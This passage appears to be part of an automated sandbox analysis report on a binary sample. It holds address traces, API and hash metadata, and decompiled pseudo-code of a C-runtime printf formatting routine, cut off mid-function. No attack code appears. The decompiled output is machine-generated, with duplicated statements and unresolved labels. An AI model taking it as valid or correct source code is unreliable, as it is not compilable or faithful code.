0x0043c2e3
0x00000000
0x0043c2e3
0x0043c2c8
0x0043c2c8
0x00000000
0x00000000
0x0043bf28
0x0043bf28
0x0043bf33
0x0043bf3b
0x0043bf42
0x0043bf45
0x0043bf45
0x0043bf48
0x0043bfa8
0x0043bf4a
0x0043bf51
0x0043bf57
0x0043bf5d
0x0043bf64
0x0043bf67
0x0043bf6d
0x0043bf75
0x0043bf77
0x0043bf7e
0x0043bf85
0x0043bf8c
0x0043bf94
0x0043bf96
0x0043bf98
0x0043bf98
0x0043bf9f
0x0043bfaf
0x0043bfb5
0x0043bfb8
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c43b
0x0043c43e
0x0043c441
0x0043c444
0x0043c4c2
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c582
0x0043c587
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c567
0x0043c56c
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c541
0x0043c546
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c525
0x0043c52a
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f8
0x0043c4fd
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4d0
0x0043c4d5
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c19a
0x0043c19a
0x0043c1a6
0x0043c1ac
0x0043c1b1
0x0043c1b3
0x0043c25d
0x0043c25d
0x0043c260
0x0043c260
0x0043c263
0x0043c277
0x0043c27d
0x0043c283
0x0043c265
0x0043c265
0x0043c26b
0x0043c272
0x0043c272
0x0043c285
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x0043c1b9
0x0043c1b9
0x0043c1b9
0x0043c1bb
0x0043c1c9
0x0043c1bd
0x0043c1bd
0x0043c1bd
0x0043c1d3
0x0043c1d9
0x0043c1df
0x0043c1e6
0x0043c1e8
0x0043c1ed
0x0043c1ef
0x0043c1f4
0x0043c1f9
0x0043c1fb
0x0043c200
0x0043c203
0x0043c206
0x0043c208
0x0043c208
0x0043c206
0x0043c209
0x0043c210
0x0043c258
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c212
0x0043c212
0x0043c217
0x0043c233
0x0043c23b
0x0043c245
0x0043c248
0x0043c24d
0x00000000
0x0043c24d
0x00000000
0x00000000
0x00000000
0x0043c456
0x0043c456
0x00000000
0x00000000
0x0043c06d
0x0043c06d
0x0043c071
0x0043c07f
0x0043c082
0x0043c073
0x0043c073
0x0043c073
0x0043c088
0x0043c08e
0x0043c094
0x0043c0a0
0x0043c0a6
0x0043c0a6
0x0043c0a9
0x0043c131
0x0043c131
0x0043c135
0x0043c137
0x0043c13d
0x0043c13d
0x0043c140
0x0043c147
0x0043c14a
0x0043c150
0x0043c150
0x0043c150
0x0043c156
0x0043c15c
0x0043c15f
0x0043c165
0x0043c167
0x00000000
0x00000000
0x0043c169
0x0043c169
0x0043c16f
0x0043c172
0x0043c174
0x00000000
0x00000000
0x0043c176
0x0043c17c
0x0043c17f
0x0043c17f
0x0043c187
0x0043c187
0x0043c18d
0x0043c18d
0x0043c192
0x00000000
0x0043c0af
0x0043c0af
0x0043c0af
0x0043c0b3
0x0043c0b5
0x0043c0ba
0x0043c0ba
0x0043c0bd
0x0043c0c0
0x0043c0c6
0x0043c0d8
0x0043c0d8
0x0043c0d8
0x0043c0db
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x0043c0e9
0x0043c0ec
0x0043c0ee
0x00000000
0x00000000
0x0043c0f0
0x0043c0f0
0x0043c0f9
0x0043c0ff
0x0043c103
0x0043c10b
0x0043c10d
0x0043c10f
0x0043c115
0x0043c115
0x0043c118
0x0043c118
0x0043c124
0x0043c127
0x0043c0cf
0x0043c0d2
0x0043c0d2
0x0043c0d5
0x0043c0d5
0x0043c12f
0x0043c195
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x00000000
0x0043c44d
0x0043c44d
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c582
0x0043c587
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c567
0x0043c56c
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c541
0x0043c546
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c525
0x0043c52a
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f8
0x0043c4fd
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4d0
0x0043c4d5
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c59e
0x00000000
0x0043c469
0x0043c469
0x0043c473
0x0043c473
0x0043c47d
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c582
0x0043c587
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c567
0x0043c56c
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c541
0x0043c546
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c525
0x0043c52a
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f8
0x0043c4fd
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4d0
0x0043c4d5
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c59e
0x00000000
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x00000000
0x0043bcd9
0x0043bcd9
0x0043bcdc
0x0043bcdf
0x00000000
0x00000000
0x0043bce4
0x0043bce7
0x0043bced
0x00000000
0x00000000
0x0043bcce
0x0043bcd1
0x0043bcd4
0x00000000
0x00000000
0x0043bcc3
0x0043bcc6
0x0043bcc9
0x00000000
0x00000000
0x0043bcf2
0x0043bcf2
0x0043bcf5
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x0043ca14
0x0043ca21
0x0043ca21
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c950
0x0043c957
0x0043c96e
0x0043c96e
0x0043c978
0x0043c978
0x0043c97e
0x0043c984
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9a8
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9ae
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c959
0x0043c959
0x0043c960
0x00000000
0x00000000
0x0043c962
0x0043c962
0x00000000
0x0043c962
0x0043c750
0x0043c727
0x0043c727
0x0043c72b
0x0043c738
0x0043c73e
0x0043c744
0x0043c74a
0x0043c74a
0x0043c74d
0x00000000
0x0043c74d
0x0043c72d
0x0043c733
0x0043c736
0x00000000
0x00000000
0x00000000
0x0043c736
0x0043c68c
0x0043c68f
0x0043c699
0x0043c6a8
0x0043c6b1
0x0043c6c7
0x0043c6cd
0x0043c6d3
0x0043c6da
0x0043c6e2
0x0043c6e2
0x0043c6e8
0x0043c6e8
0x0043c6f7
0x0043c6ff
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x00000000
0x0043c67c
0x0043c66e
0x0043c5ab
0x0043c5ab
0x0043c5b2
0x00000000
0x00000000
0x00000000
0x0043c5e0
0x0043c5e6
0x0043c5f2
0x00000000
0x0043c5f2
0x0043c4c2

APIs

_get_int64_arg.LIBCMTD ref: 0043C4D0
__aullrem.LIBCMT ref: 0043C6A0
__aulldiv.LIBCMT ref: 0043C6C2

Strings

9, xrefs: 0043C6D3

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: 5e0081dbc26d05164dfc6aee39a94cb5b55c948401b0fd694d008dd8061bc44a
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: 684106B1E001299FDB24CF58C981BAEB7B5FB89314F10519AD148B7241C738AA81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427E1D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427E1D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E00428400(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E00428400(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E00428400(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E00428400(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428420(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428420(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E004357C0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E00435800( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E004357C0(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E00435800( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E004342D0(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E00435800( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E004357C0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C5E0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404460) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404480) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M004282F8))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E004312C0( *(_t668 - 0x251) & 0x000000ff, E0041AEF0(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00435720( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00435720( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E420();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422F10(_t584))) = 0x16;
																E00422CA0(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041AEC0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428330; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428318))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428358; // 0x7c0f9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428344))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
